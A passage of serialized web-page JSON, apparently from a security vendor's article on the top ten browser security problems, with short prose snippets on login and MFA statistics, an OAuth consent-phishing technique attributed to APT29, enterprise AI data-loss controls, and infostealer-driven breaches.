blind spot.",[],{},"Top 10 Browser Problems IB1",{"sys":52028,"__typename":1747,"title":52029,"caption":52030,"layoutMode":59,"file":52031},{"id":3826},"top 10 browser security infographic","The top 10 security problems you can solve in the browser, ranked by security value and browser fit.",{"url":52032,"width":52033,"height":52034},"https://images.ctfassets.net/y1cdw1ablpvd/1ARDI5m8UJTN9QXXfbyyeO/ad04834463f3537a724ecfcaa0054fb0/top10_browser_security_infographic_4x__14_.png",2080,2484,{"sys":52036,"__typename":9270,"content":52037,"name":52068,"title":59},{"id":3918},{"json":52038},{"nodeType":1739,"data":52039,"content":52040},{},[52041],{"nodeType":866,"data":52042,"content":52043},{},[52044,52048,52055,52059,52064],{"nodeType":865,"value":52045,"marks":52046,"data":52047},"Every login, regardless of method or app, happens inside a browser session. That makes the browser the only layer capable of observing the complete authentication picture. ",[],{},{"nodeType":882,"data":52049,"content":52050},{"uri":10328},[52051],{"nodeType":865,"value":52052,"marks":52053,"data":52054},"Push's telemetry illustrates the gap",[],{},{"nodeType":865,"value":52056,"marks":52057,"data":52058},": of the last million logins observed, ",[],{},{"nodeType":865,"value":52060,"marks":52061,"data":52063},"1 in 4 were password logins rather than SSO, 2 in 5 lacked MFA, and 1 in 5 used a weak, breached, or reused credential",[52062],{"type":961},{},{"nodeType":865,"value":52065,"marks":52066,"data":52067}," — none of which is visible to an IdP that only surfaces authentications flowing through it. ",[],{},"Top 10 Browser Problems IB2",{"sys":52070,"__typename":9270,"content":52071,"name":52104,"title":59},{"id":4059},{"json":52072},{"data":52073,"content":52074,"nodeType":1739},{},[52075],{"data":52076,"content":52077,"nodeType":866},{},[52078,52082,52087,52091,52100],{"data":52079,"marks":52080,"value":52081,"nodeType":865},{},[],"The average employee logs into more than 15 applications, the majority with logins outside SSO coverage. IdP policies and SSPM findings have no mechanism to intervene in authentication flows they don't control. ",{"data":52083,"marks":52084,"value":52086,"nodeType":865},{},[52085],{"type":961},"47% of BEC victims had not enforced MFA in their Microsoft 365 environment",{"data":52088,"marks":52089,"value":52090,"nodeType":865},{},[]," (",{"data":52092,"content":52094,"nodeType":882},{"uri":52093},"https://www.s-rminform.com/cyber-insights-report-2026",[52095],{"data":52096,"marks":52097,"value":52099,"nodeType":865},{},[52098],{"type":997},"S-RM Cyber Insights 2026",{"data":52101,"marks":52102,"value":52103,"nodeType":865},{},[],") — and the gap is larger still once you consider shadow SaaS.","Top 10 Browser Problems IB3",{"sys":52106,"__typename":9270,"content":52107,"name":52128,"title":59},{"id":4348},{"json":52108},{"data":52109,"content":52110,"nodeType":1739},{},[52111],{"data":52112,"content":52113,"nodeType":866},{},[52114,52117,52124],{"data":52115,"marks":52116,"value":21,"nodeType":865},{},[],{"data":52118,"content":52119,"nodeType":882},{"uri":3009},[52120],{"data":52121,"marks":52122,"value":11095,"nodeType":865},{},[52123],{"type":997},{"data":52125,"marks":52126,"value":52127,"nodeType":865},{},[],", a novel technique discovered by Push researchers when we intercepted a live campaign attributed to Russian state-linked APT29, is a notable exception: it is fully browser-native with no endpoint component, using a manipulated OAuth consent flow rather than clipboard-injected malware. ConsentFix is better understood as an OAuth attack than a malware delivery technique — it signals the direction of travel as attackers seek to eliminate the endpoint detection surface entirely and operate purely within browser-native mechanisms like OAuth. ","Top 10 Browser Problems IB4",{"sys":52130,"__typename":9270,"content":52131,"name":52142,"title":59},{"id":4413},{"json":52132},{"data":52133,"content":52134,"nodeType":1739},{},[52135],{"data":52136,"content":52137,"nodeType":866},{},[52138],{"data":52139,"marks":52140,"value":52141,"nodeType":865},{},[],"Enterprise AI platforms — Claude, ChatGPT Enterprise, Microsoft Copilot, Gemini for Workspace — increasingly provide native prompt logging and DLP controls on their enterprise plans, and these are richer and more reliable for sanctioned tools than browser session-layer monitoring. The right architecture is complementary: use the browser to enforce which AI tools employees can access and ensure they reach the corporate tenant rather than a personal account, then rely on platform-native controls to govern activity within that environment.","Top 10 Browser Problems IB5",{"sys":52144,"__typename":9270,"content":52145,"name":52185,"title":59},{"id":4521},{"json":52146},{"data":52147,"content":52148,"nodeType":1739},{},[52149],{"data":52150,"content":52151,"nodeType":866},{},[52152,52156,52161,52165,52170,52174,52181],{"data":52153,"marks":52154,"value":52155,"nodeType":865},{},[],"The 2025 Verizon DBIR found ",{"data":52157,"marks":52158,"value":52160,"nodeType":865},{},[52159],{"type":961},"54% of ransomware attacks traced back to infostealer-enabled credential theft",{"data":52162,"marks":52163,"value":52164,"nodeType":865},{},[],". Microsoft reports ",{"data":52166,"marks":52167,"value":52169,"nodeType":865},{},[52168],{"type":961},"39,000 session token attacks per day",{"data":52171,"marks":52172,"value":52173,"nodeType":865},{},[],", the majority sourced from infostealer-harvested cookies. The",{"data":52175,"content":52176,"nodeType":882},{"uri":3904},[52177],{"data":52178,"marks":52179,"value":52180,"nodeType":865},{},[]," Snowflake breach",{"data":52182,"marks":52183,"value":52184,"nodeType":865},{},[]," we mentioned earlier was powered entirely by infostealer-harvested credentials: stolen years earlier, never rotated, and used to authenticate directly to tenants that lacked MFA. More than 80% of compromised accounts had prior credential exposure. The Okta breach followed the same pattern, beginning with an infostealer on an engineer's personal device harvesting credentials synced to their personal Google profile on a corporate browser. ","Top 10 Browser Problems IB6",{"items":52187},[],{},"The top 10 security problems you can solve in the browser",{"items":52191},[52192,52700,53372],{"__typename":1788,"sys":52193,"content":52194,"title":41590,"synopsis":41591,"hashTags":59,"publishedDate":36305,"slug":41592,"tagsCollection":52690,"authorsCollection":52696},{"id":41017},{"json":52195},{"data":52196,"content":52197,"nodeType":1739},{},[52198,52213,52219,52225,52230,52233,52240,52253,52259,52264,52270,52345,52351,52356,52362,52367,52370,52377,52387,52393,52403,52406,52413,52426,52432,52438,52441,52448,52454,52467,52472,52485,52491,52497,52503,52516,52522,52525,52532,52538,52551,52557,52560,52567,52580,52586,52602,52612,52615,52622,52635,52641,52647,52653,52659,52662,52668,52674],{"data":52199,"content":52200,"nodeType":866},{},[52201,52204,52210],{"data":52202,"marks":52203,"value":873,"nodeType":865},{},[],{"data":52205,"content":52206,"nodeType":882},{"uri":41030},[52207],{"data":52208,"marks":52209,"value":41035,"nodeType":865},{},[],{"data":52211,"marks":52212,"value":41039,"nodeType":865},{},[],{"data":52214,"content":52215,"nodeType":866},{},[52216],{"data":52217,"marks":52218,"value":41046,"nodeType":865},{},[],{"data":52220,"content":52221,"nodeType":866},{},[52222],{"data":52223,"marks":52224,"value":41053,"nodeType":865},{},[],{"data":52226,"content":52229,"nodeType":925},{"target":52227},{"sys":52228},{"id":41058,"type":922,"linkType":923},[],{"data":52231,"content":52232,"nodeType":953},{},[],{"data":52234,"content":52235,"nodeType":963},{},[52236],{"data":52237,"marks":52238,"value":41070,"nodeType":865},{},[52239],{"type":961},{"data":52241,"content":52242,"nodeType":866},{},[52243,52246,52250],{"data":52244,"marks":52245,"value":41077,"nodeType":865},{},[],{"data":52247,"marks":52248,"value":41082,"nodeType":865},{},[52249],{"type":961},{"data":52251,"marks":52252,"value":41086,"nodeType":865},{},[],{"data":52254,"content":52255,"nodeType":866},{},[52256],{"data":52257,"marks":52258,"value":41093,"nodeType":865},{},[],{"data":52260,"content":52263,"nodeType":925},{"target":52261},{"sys":52262},{"id":41098,"type":922,"linkType":923},[],{"data":52265,"content":52266,"nodeType":866},{},[52267],{"data":52268,"marks":52269,"value":41106,"nodeType":865},{},[],{"data":52271,"content":52272,"nodeType":1049},{},[52273,52282,52291,52300,52309,52318,52327,52336],{"data":52274,"content":52275,"nodeType":1003},{},[52276],{"data":52277,"content":52278,"nodeType":866},{},[52279],{"data":52280,"marks":52281,"value":41119,"nodeType":865},{},[],{"data":52283,"content":52284,"nodeType":1003},{},[52285],{"data":52286,"content":52287,"nodeType":866},{},[52288],{"data":52289,"marks":52290,"value":41129,"nodeType":865},{},[],{"data":52292,"content":52293,"nodeType":1003},{},[52294],{"data":52295,"content":52296,"nodeType":866},{},[52297],{"data":52298,"marks":52299,"value":41139,"nodeType":865},{},[],{"data":52301,"content":52302,"nodeType":1003},{},[52303],{"data":52304,"content":52305,"nodeType":866},{},[52306],{"data":52307,"marks":52308,"value":41149,"nodeType":865},{},[],{"data":52310,"content":52311,"nodeType":1003},{},[52312],{"data":52313,"content":52314,"nodeType":866},{},[52315],{"data":52316,"marks":52317,"value":41159,"nodeType":865},{},[],{"data":52319,"content":52320,"nodeType":1003},{},[52321],{"data":52322,"content":52323,"nodeType":866},{},[52324],{"data":52325,"marks":52326,"value":41169,"nodeType":865},{},[],{"data":52328,"content":52329,"nodeType":1003},{},[52330],{"data":52331,"content":52332,"nodeType":866},{},[52333],{"data":52334,"marks":52335,"value":41179,"nodeType":865},{},[],{"data":52337,"content":52338,"nodeType":1003},{},[52339],{"data":52340,"content":52341,"nodeType":866},{},[52342],{"data":52343,"marks":52344,"value":41189,"nodeType":865},{},[],{"data":52346,"content":52347,"nodeType":866},{},[52348],{"data":52349,"marks":52350,"value":41196,"nodeType":865},{},[],{"data":52352,"content":52355,"nodeType":925},{"target":52353},{"sys":52354},{"id":19097,"type":922,"linkType":923},[],{"data":52357,"content":52358,"nodeType":866},{},[52359],{"data":52360,"marks":52361,"value":41208,"nodeType":865},{},[],{"data":52363,"content":52366,"nodeType":925},{"target":52364},{"sys":52365},{"id":41213,"type":922,"linkType":923},[],{"data":52368,"content":52369,"nodeType":953},{},[],{"data":52371,"content":52372,"nodeType":963},{},[52373],{"data":52374,"marks":52375,"value":41225,"nodeType":865},{},[52376],{"type":961},{"data":52378,"content":52379,"nodeType":866},{},[52380,52384],{"data":52381,"marks":52382,"value":41233,"nodeType":865},{},[52383],{"type":961},{"data":52385,"marks":52386,"value":41237,"nodeType":865},{},[],{"data":52388,"content":52389,"nodeType":866},{},[52390],{"data":52391,"marks":52392,"value":41244,"nodeType":865},{},[],{"data":52394,"content":52395,"nodeType":866},{},[52396,52400],{"data":52397,"marks":52398,"value":41252,"nodeType":865},{},[52399],{"type":961},{"data":52401,"marks":52402,"value":41256,"nodeType":865},{},[],{"data":52404,"content":52405,"nodeType":953},{},[],{"data":52407,"content":52408,"nodeType":963},{},[52409],{"data":52410,"marks":52411,"value":41267,"nodeType":865},{},[52412],{"type":961},{"data":52414,"content":52415,"nodeType":866},{},[52416,52419,52423],{"data":52417,"marks":52418,"value":41274,"nodeType":865},{},[],{"data":52420,"marks":52421,"value":34980,"nodeType":865},{},[52422],{"type":961},{"data":52424,"marks":52425,"value":41282,"nodeType":865},{},[],{"data":52427,"content":52428,"nodeType":866},{},[52429],{"data":52430,"marks":52431,"value":41289,"nodeType":865},{},[],{"data":52433,"content":52434,"nodeType":866},{},[52435],{"data":52436,"marks":52437,"value":41296,"nodeType":865},{},[],{"data":52439,"content":52440,"nodeType":953},{},[],{"data":52442,"content":52443,"nodeType":963},{},[52444],{"data":52445,"marks":52446,"value":41307,"nodeType":865},{},[52447],{"type":961},{"data":52449,"content":52450,"nodeType":866},{},[52451],{"data":52452,"marks":52453,"value":41314,"nodeType":865},{},[],{"data":52455,"content":52456,"nodeType":866},{},[52457,52460,52464],{"data":52458,"marks":52459,"value":41321,"nodeType":865},{},[],{"data":52461,"marks":52462,"value":41326,"nodeType":865},{},[52463],{"type":961},{"data":52465,"marks":52466,"value":41330,"nodeType":865},{},[],{"data":52468,"content":52471,"nodeType":925},{"target":52469},{"sys":52470},{"id":41335,"type":922,"linkType":923},[],{"data":52473,"content":52474,"nodeType":866},{},[52475,52478,52482],{"data":52476,"marks":52477,"value":41343,"nodeType":865},{},[],{"data":52479,"marks":52480,"value":41348,"nodeType":865},{},[52481],{"type":961},{"data":52483,"marks":52484,"value":41352,"nodeType":865},{},[],{"data":52486,"content":52487,"nodeType":866},{},[52488],{"data":52489,"marks":52490,"value":41359,"nodeType":865},{},[],{"data":52492,"content":52493,"nodeType":866},{},[52494],{"data":52495,"marks":52496,"value":41366,"nodeType":865},{},[],{"data":52498,"content":52499,"nodeType":866},{},[52500],{"data":52501,"marks":52502,"value":41373,"nodeType":865},{},[],{"data":52504,"content":52505,"nodeType":866},{},[52506,52509,52513],{"data":52507,"marks":52508,"value":41380,"nodeType":865},{},[],{"data":52510,"marks":52511,"value":41385,"nodeType":865},{},[52512],{"type":961},{"data":52514,"marks":52515,"value":41389,"nodeType":865},{},[],{"data":52517,"content":52518,"nodeType":866},{},[52519],{"data":52520,"marks":52521,"value":41396,"nodeType":865},{},[],{"data":52523,"content":52524,"nodeType":953},{},[],{"data":52526,"content":52527,"nodeType":963},{},[52528],{"data":52529,"marks":52530,"value":41407,"nodeType":865},{},[52531],{"type":961},{"data":52533,"content":52534,"nodeType":866},{},[52535],{"data":52536,"marks":52537,"value":41414,"nodeType":865},{},[],{"data":52539,"content":52540,"nodeType":866},{},[52541,52544,52548],{"data":52542,"marks":52543,"value":41421,"nodeType":865},{},[],{"data":52545,"marks":52546,"value":41426,"nodeType":865},{},[52547],{"type":961},{"data":52549,"marks":52550,"value":41430,"nodeType":865},{},[],{"data":52552,"content":52553,"nodeType":866},{},[52554],{"data":52555,"marks":52556,"value":41437,"nodeType":865},{},[],{"data":52558,"content":52559,"nodeType":953},{},[],{"data":52561,"content":52562,"nodeType":963},{},[52563],{"data":52564,"marks":52565,"value":41448,"nodeType":865},{},[52566],{"type":961},{"data":52568,"content":52569,"nodeType":866},{},[52570,52573,52577],{"data":52571,"marks":52572,"value":41455,"nodeType":865},{},[],{"data":52574,"marks":52575,"value":41460,"nodeType":865},{},[52576],{"type":961},{"data":52578,"marks":52579,"value":41464,"nodeType":865},{},[],{"data":52581,"content":52582,"nodeType":866},{},[52583],{"data":52584,"marks":52585,"value":41471,"nodeType":865},{},[],{"data":52587,"content":52588,"nodeType":866},{},[52589,52592,52599],{"data":52590,"marks":52591,"value":41478,"nodeType":865},{},[],{"data":52593,"content":52594,"nodeType":882},{"uri":26050},[52595],{"data":52596,"marks":52597,"value":41486,"nodeType":865},{},[52598],{"type":997},{"data":52600,"marks":52601,"value":41490,"nodeType":865},{},[],{"data":52603,"content":52604,"nodeType":866},{},[52605,52608],{"data":52606,"marks":52607,"value":41497,"nodeType":865},{},[],{"data":52609,"marks":52610,"value":41502,"nodeType":865},{},[52611],{"type":961},{"data":52613,"content":52614,"nodeType":953},{},[],{"data":52616,"content":52617,"nodeType":963},{},[52618],{"data":52619,"marks":52620,"value":41513,"nodeType":865},{},[52621],{"type":961},{"data":52623,"content":52624,"nodeType":866},{},[52625,52628,52632],{"data":52626,"marks":52627,"value":41520,"nodeType":865},{},[],{"data":52629,"marks":52630,"value":41525,"nodeType":865},{},[52631],{"type":961},{"data":52633,"marks":52634,"value":41529,"nodeType":865},{},[],{"data":52636,"content":52637,"nodeType":866},{},[52638],{"data":52639,"marks":52640,"value":41536,"nodeType":865},{},[],{"data":52642,"content":52643,"nodeType":866},{},[52644],{"data":52645,"marks":52646,"value":41543,"nodeType":865},{},[],{"data":52648,"content":52649,"nodeType":866},{},[52650],{"data":52651,"marks":52652,"value":41550,"nodeType":865},{},[],{"data":52654,"content":52655,"nodeType":866},{},[52656],{"data":52657,"marks":52658,"value":41557,"nodeType":865},{},[],{"data":52660,"content":52661,"nodeType":953},{},[],{"data":52663,"content":52664,"nodeType":866},{},[52665],{"data":52666,"marks":52667,"value":41567,"nodeType":865},{},[],{"data":52669,"content":52670,"nodeType":866},{},[52671],{"data":52672,"marks":52673,"value":1718,"nodeType":865},{},[],{"data":52675,"content":52676,"nodeType":866},{},[52677,52680,52687],{"data":52678,"marks":52679,"value":21,"nodeType":865},{},[],{"data":52681,"content":52682,"nodeType":882},{"uri":1728},[52683],{"data":52684,"marks":52685,"value":10641,"nodeType":865},{},[52686],{"type":997},{"data":52688,"marks":52689,"value":1738,"nodeType":865},{},[],{"items":52691},[52692,52694],{"sys":52693,"name":297},{"id":2828},{"sys":52695,"name":2825},{"id":2824},{"items":52697},[52698],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":52699},{"url":11434},{"__typename":1788,"sys":52701,"content":52702,"title":36303,"synopsis":36304,"hashTags":59,"publishedDate":36305,"slug":36306,"tagsCollection":53362,"authorsCollection":53368},{"id":35538},{"json":52703},{"data":52704,"content":52705,"nodeType":1739},{},[52706,52711,52717,52723,52729,52732,52739,52745,52755,52765,52770,52776,52779,52786,52792,52797,52803,52809,52902,52908,52911,52918,52924,52979,52992,52997,53003,53006,53013,53019,53026,53032,53038,53063,53069,53076,53082,53088,53094,53101,53107,53113,53119,53122,53129,53139,53145,53151,53158,53164,53170,53177,53183,53238,53251,53266,53273,53279,53286,53292,53298,53304,53309,53316,53322,53328,53333,53339,53345,53351,53356],{"data":52707,"content":52710,"nodeType":925},{"target":52708},{"sys":52709},{"id":35547,"type":922,"linkType":923},[],{"data":52712,"content":52713,"nodeType":866},{},[52714],{"data":52715,"marks":52716,"value":35555,"nodeType":865},{},[],{"data":52718,"content":52719,"nodeType":866},{},[52720],{"data":52721,"marks":52722,"value":35562,"nodeType":865},{},[],{"data":52724,"content":52725,"nodeType":866},{},[52726],{"data":52727,"marks":52728,"value":35569,"nodeType":865},{},[],{"data":52730,"content":52731,"nodeType":953},{},[],{"data":52733,"content":52734,"nodeType":963},{},[52735],{"data":52736,"marks":52737,"value":35580,"nodeType":865},{},[52738],{"type":961},{"data":52740,"content":52741,"nodeType":866},{},[52742],{"data":52743,"marks":52744,"value":35587,"nodeType":865},{},[],{"data":52746,"content":52747,"nodeType":866},{},[52748,52752],{"data":52749,"marks":52750,"value":35595,"nodeType":865},{},[52751],{"type":961},{"data":52753,"marks":52754,"value":35599,"nodeType":865},{},[],{"data":52756,"content":52757,"nodeType":866},{},[52758,52762],{"data":52759,"marks":52760,"value":35607,"nodeType":865},{},[52761],{"type":961},{"data":52763,"marks":52764,"value":35611,"nodeType":865},{},[],{"data":52766,"content":52769,"nodeType":925},{"target":52767},{"sys":52768},{"id":19097,"type":922,"linkType":923},[],{"data":52771,"content":52772,"nodeType":866},{},[52773],{"data":52774,"marks":52775,"value":35623,"nodeType":865},{},[],{"data":52777,"content":52778,"nodeType":953},{},[],{"data":52780,"content":52781,"nodeType":963},{},[52782],{"data":52783,"marks":52784,"value":35634,"nodeType":865},{},[52785],{"type":961},{"data":52787,"content":52788,"nodeType":866},{},[52789],{"data":52790,"marks":52791,"value":35641,"nodeType":865},{},[],{"data":52793,"content":52796,"nodeType":925},{"target":52794},{"sys":52795},{"id":35646,"type":922,"linkType":923},[],{"data":52798,"content":52799,"nodeType":866},{},[52800],{"data":52801,"marks":52802,"value":35654,"nodeType":865},{},[],{"data":52804,"content":52805,"nodeType":866},{},[52806],{"data":52807,"marks":52808,"value":35661,"nodeType":865},{},[],{"data":52810,"content":52811,"nodeType":1049},{},[52812,52828,52844,52860,52876,52889],{"data":52813,"content":52814,"nodeType":1003},{},[52815],{"data":52816,"content":52817,"nodeType":866},{},[52818,52821,52825],{"data":52819,"marks":52820,"value":35674,"nodeType":865},{},[],{"data":52822,"marks":52823,"value":35067,"nodeType":865},{},[52824],{"type":961},{"data":52826,"marks":52827,"value":35682,"nodeType":865},{},[],{"data":52829,"content":52830,"nodeType":1003},{},[52831],{"data":52832,"content":52833,"nodeType":866},{},[52834,52837,52841],{"data":52835,"marks":52836,"value":35692,"nodeType":865},{},[],{"data":52838,"marks":52839,"value":35697,"nodeType":865},{},[52840],{"type":961},{"data":52842,"marks":52843,"value":35701,"nodeType":865},{},[],{"data":52845,"content":52846,"nodeType":1003},{},[52847],{"data":52848,"content":52849,"nodeType":866},{},[52850,52853,52857],{"data":52851,"marks":52852,"value":35711,"nodeType":865},{},[],{"data":52854,"marks":52855,"value":35716,"nodeType":865},{},[52856],{"type":961},{"data":52858,"marks":52859,"value":35720,"nodeType":865},{},[],{"data":52861,"content":52862,"nodeType":1003},{},[52863],{"data":52864,"content":52865,"nodeType":866},{},[52866,52869,52873],{"data":52867,"marks":52868,"value":35730,"nodeType":865},{},[],{"data":52870,"marks":52871,"value":35735,"nodeType":865},{},[52872],{"type":961},{"data":52874,"marks":52875,"value":35739,"nodeType":865},{},[],{"data":52877,"content":52878,"nodeType":1003},{},[52879],{"data":52880,"content":52881,"nodeType":866},{},[52882,52886],{"data":52883,"marks":52884,"value":8525,"nodeType":865},{},[52885],{"type":961},{"data":52887,"marks":52888,"value":35753,"nodeType":865},{},[],{"data":52890,"content":52891,"nodeType":1003},{},[52892],{"data":52893,"content":52894,"nodeType":866},{},[52895,52899],{"data":52896,"marks":52897,"value":35764,"nodeType":865},{},[52898],{"type":961},{"data":52900,"marks":52901,"value":35768,"nodeType":865},{},[],{"data":52903,"content":52904,"nodeType":866},{},[52905],{"data":52906,"marks":52907,"value":35775,"nodeType":865},{},[],{"data":52909,"content":52910,"nodeType":953},{},[],{"data":52912,"content":52913,"nodeType":1458},{},[52914],{"data":52915,"marks":52916,"value":35786,"nodeType":865},{},[52917],{"type":961},{"data":52919,"content":52920,"nodeType":866},{},[52921],{"data":52922,"marks":52923,"value":35793,"nodeType":865},{},[],{"data":52925,"content":52926,"nodeType":1049},{},[52927,52940,52953,52966],{"data":52928,"content":52929,"nodeType":1003},{},[52930],{"data":52931,"content":52932,"nodeType":866},{},[52933,52936],{"data":52934,"marks":52935,"value":35806,"nodeType":865},{},[],{"data":52937,"marks":52938,"value":35811,"nodeType":865},{},[52939],{"type":961},{"data":52941,"content":52942,"nodeType":1003},{},[52943],{"data":52944,"content":52945,"nodeType":866},{},[52946,52949],{"data":52947,"marks":52948,"value":35821,"nodeType":865},{},[],{"data":52950,"marks":52951,"value":35826,"nodeType":865},{},[52952],{"type":961},{"data":52954,"content":52955,"nodeType":1003},{},[52956],{"data":52957,"content":52958,"nodeType":866},{},[52959,52962],{"data":52960,"marks":52961,"value":35836,"nodeType":865},{},[],{"data":52963,"marks":52964,"value":35841,"nodeType":865},{},[52965],{"type":961},{"data":52967,"content":52968,"nodeType":1003},{},[52969],{"data":52970,"content":52971,"nodeType":866},{},[52972,52975],{"data":52973,"marks":52974,"value":35851,"nodeType":865},{},[],{"data":52976,"marks":52977,"value":35856,"nodeType":865},{},[52978],{"type":961},{"data":52980,"content":52981,"nodeType":866},{},[52982,52985,52989],{"data":52983,"marks":52984,"value":35863,"nodeType":865},{},[],{"data":52986,"marks":52987,"value":35868,"nodeType":865},{},[52988],{"type":961},{"data":52990,"marks":52991,"value":35872,"nodeType":865},{},[],{"data":52993,"content":52996,"nodeType":925},{"target":52994},{"sys":52995},{"id":35877,"type":922,"linkType":923},[],{"data":52998,"content":52999,"nodeType":866},{},[53000],{"data":53001,"marks":53002,"value":35885,"nodeType":865},{},[],{"data":53004,"content":53005,"nodeType":953},{},[],{"data":53007,"content":53008,"nodeType":963},{},[53009],{"data":53010,"marks":53011,"value":35896,"nodeType":865},{},[53012],{"type":961},{"data":53014,"content":53015,"nodeType":866},{},[53016],{"data":53017,"marks":53018,"value":35903,"nodeType":865},{},[],{"data":53020,"content":53021,"nodeType":1458},{},[53022],{"data":53023,"marks":53024,"value":35911,"nodeType":865},{},[53025],{"type":961},{"data":53027,"content":53028,"nodeType":866},{},[53029],{"data":53030,"marks":53031,"value":35918,"nodeType":865},{},[],{"data":53033,"content":53034,"nodeType":866},{},[53035],{"data":53036,"marks":53037,"value":35925,"nodeType":865},{},[],{"data":53039,"content":53040,"nodeType":866},{},[53041,53044,53050,53053,53060],{"data":53042,"marks":53043,"value":35932,"nodeType":865},{},[],{"data":53045,"content":53046,"nodeType":882},{"uri":4378},[53047],{"data":53048,"marks":53049,"value":35939,"nodeType":865},{},[],{"data":53051,"marks":53052,"value":35943,"nodeType":865},{},[],{"data":53054,"content":53055,"nodeType":882},{"uri":35946},[53056],{"data":53057,"marks":53058,"value":35952,"nodeType":865},{},[53059],{"type":997},{"data":53061,"marks":53062,"value":35956,"nodeType":865},{},[],{"data":53064,"content":53065,"nodeType":866},{},[53066],{"data":53067,"marks":53068,"value":35963,"nodeType":865},{},[],{"data":53070,"content":53071,"nodeType":1458},{},[53072],{"data":53073,"marks":53074,"value":35971,"nodeType":865},{},[53075],{"type":961},{"data":53077,"content":53078,"nodeType":866},{},[53079],{"data":53080,"marks":53081,"value":35978,"nodeType":865},{},[],{"data":53083,"content":53084,"nodeType":866},{},[53085],{"data":53086,"marks":53087,"value":35985,"nodeType":865},{},[],{"data":53089,"content":53090,"nodeType":866},{},[53091],{"data":53092,"marks":53093,"value":35992,"nodeType":865},{},[],{"data":53095,"content":53096,"nodeType":1458},{},[53097],{"data":53098,"marks":53099,"value":36000,"nodeType":865},{},[53100],{"type":961},{"data":53102,"content":53103,"nodeType":866},{},[53104],{"data":53105,"marks":53106,"value":36007,"nodeType":865},{},[],{"data":53108,"content":53109,"nodeType":866},{},[53110],{"data":53111,"marks":53112,"value":36014,"nodeType":865},{},[],{"data":53114,"content":53115,"nodeType":866},{},[53116],{"data":53117,"marks":53118,"value":36021,"nodeType":865},{},[],{"data":53120,"content":53121,"nodeType":953},{},[],{"data":53123,"content":53124,"nodeType":963},{},[53125],{"data":53126,"marks":53127,"value":36032,"nodeType":865},{},[53128],{"type":961},{"data":53130,"content":53131,"nodeType":866},{},[53132,53136],{"data":53133,"marks":53134,"value":36040,"nodeType":865},{},[53135],{"type":961},{"data":53137,"marks":53138,"value":36044,"nodeType":865},{},[],{"data":53140,"content":53141,"nodeType":866},{},[53142],{"data":53143,"marks":53144,"value":36051,"nodeType":865},{},[],{"data":53146,"content":53147,"nodeType":866},{},[53148],{"data":53149,"marks":53150,"value":36058,"nodeType":865},{},[],{"data":53152,"content":53153,"nodeType":1458},{},[53154],{"data":53155,"marks":53156,"value":36066,"nodeType":865},{},[53157],{"type":961},{"data":53159,"content":53160,"nodeType":866},{},[53161],{"data":53162,"marks":53163,"value":36073,"nodeType":865},{},[],{"data":53165,"content":53166,"nodeType":866},{},[53167],{"data":53168,"marks":53169,"value":36080,"nodeType":865},{},[],{"data":53171,"content":53172,"nodeType":1458},{},[53173],{"data":53174,"marks":53175,"value":36088,"nodeType":865},{},[53176],{"type":961},{"data":53178,"content":53179,"nodeType":866},{},[53180],{"data":53181,"marks":53182,"value":36095,"nodeType":865},{},[],{"data":53184,"content":53185,"nodeType":1049},{},[53186,53199,53212,53225],{"data":53187,"content":53188,"nodeType":1003},{},[53189],{"data":53190,"content":53191,"nodeType":866},{},[53192,53196],{"data":53193,"marks":53194,"value":36109,"nodeType":865},{},[53195],{"type":961},{"data":53197,"marks":53198,"value":36113,"nodeType":865},{},[],{"data":53200,"content":53201,"nodeType":1003},{},[53202],{"data":53203,"content":53204,"nodeType":866},{},[53205,53209],{"data":53206,"marks":53207,"value":36124,"nodeType":865},{},[53208],{"type":961},{"data":53210,"marks":53211,"value":36128,"nodeType":865},{},[],{"data":53213,"content":53214,"nodeType":1003},{},[53215],{"data":53216,"content":53217,"nodeType":866},{},[53218,53222],{"data":53219,"marks":53220,"value":36139,"nodeType":865},{},[53221],{"type":961},{"data":53223,"marks":53224,"value":36143,"nodeType":865},{},[],{"data":53226,"content":53227,"nodeType":1003},{},[53228],{"data":53229,"content":53230,"nodeType":866},{},[53231,53235],{"data":53232,"marks":53233,"value":36154,"nodeType":865},{},[53234],{"type":961},{"data":53236,"marks":53237,"value":36158,"nodeType":865},{},[],{"data":53239,"content":53240,"nodeType":866},{},[53241,53244,53248],{"data":53242,"marks":53243,"value":36165,"nodeType":865},{},[],{"data":53245,"marks":53246,"value":36170,"nodeType":865},{},[53247],{"type":961},{"data":53249,"marks":53250,"value":36174,"nodeType":865},{},[],{"data":53252,"content":53253,"nodeType":866},{},[53254,53257,53263],{"data":53255,"marks":53256,"value":36181,"nodeType":865},{},[],{"data":53258,"content":53259,"nodeType":882},{"uri":1335},[53260],{"data":53261,"marks":53262,"value":36188,"nodeType":865},{},[],{"data":53264,"marks":53265,"value":36192,"nodeType":865},{},[],{"data":53267,"content":53268,"nodeType":1458},{},[53269],{"data":53270,"marks":53271,"value":36200,"nodeType":865},{},[53272],{"type":961},{"data":53274,"content":53275,"nodeType":866},{},[53276],{"data":53277,"marks":53278,"value":36207,"nodeType":865},{},[],{"data":53280,"content":53281,"nodeType":866},{},[53282],{"data":53283,"marks":53284,"value":36215,"nodeType":865},{},[53285],{"type":961},{"data":53287,"content":53288,"nodeType":866},{},[53289],{"data":53290,"marks":53291,"value":36222,"nodeType":865},{},[],{"data":53293,"content":53294,"nodeType":866},{},[53295],{"data":53296,"marks":53297,"value":36229,"nodeType":865},{},[],{"data":53299,"content":53300,"nodeType":866},{},[53301],{"data":53302,"marks":53303,"value":36236,"nodeType":865},{},[],{"data":53305,"content":53308,"nodeType":925},{"target":53306},{"sys":53307},{"id":36241,"type":922,"linkType":923},[],{"data":53310,"content":53311,"nodeType":1458},{},[53312],{"data":53313,"marks":53314,"value":36250,"nodeType":865},{},[53315],{"type":961},{"data":53317,"content":53318,"nodeType":866},{},[53319],{"data":53320,"marks":53321,"value":36257,"nodeType":865},{},[],{"data":53323,"content":53324,"nodeType":866},{},[53325],{"data":53326,"marks":53327,"value":36264,"nodeType":865},{},[],{"data":53329,"content":53332,"nodeType":925},{"target":53330},{"sys":53331},{"id":26830,"type":922,"linkType":923},[],{"data":53334,"content":53335,"nodeType":866},{},[53336],{"data":53337,"marks":53338,"value":36276,"nodeType":865},{},[],{"data":53340,"content":53341,"nodeType":866},{},[53342],{"data":53343,"marks":53344,"value":36283,"nodeType":865},{},[],{"data":53346,"content":53347,"nodeType":866},{},[53348],{"data":53349,"marks":53350,"value":36290,"nodeType":865},{},[],{"data":53352,"content":53355,"nodeType":925},{"target":53353},{"sys":53354},{"id":36295,"type":922,"linkType":923},[],{"data":53357,"content":53358,"nodeType":866},{},[53359],{"data":53360,"marks":53361,"value":21,"nodeType":865},{},[],{"i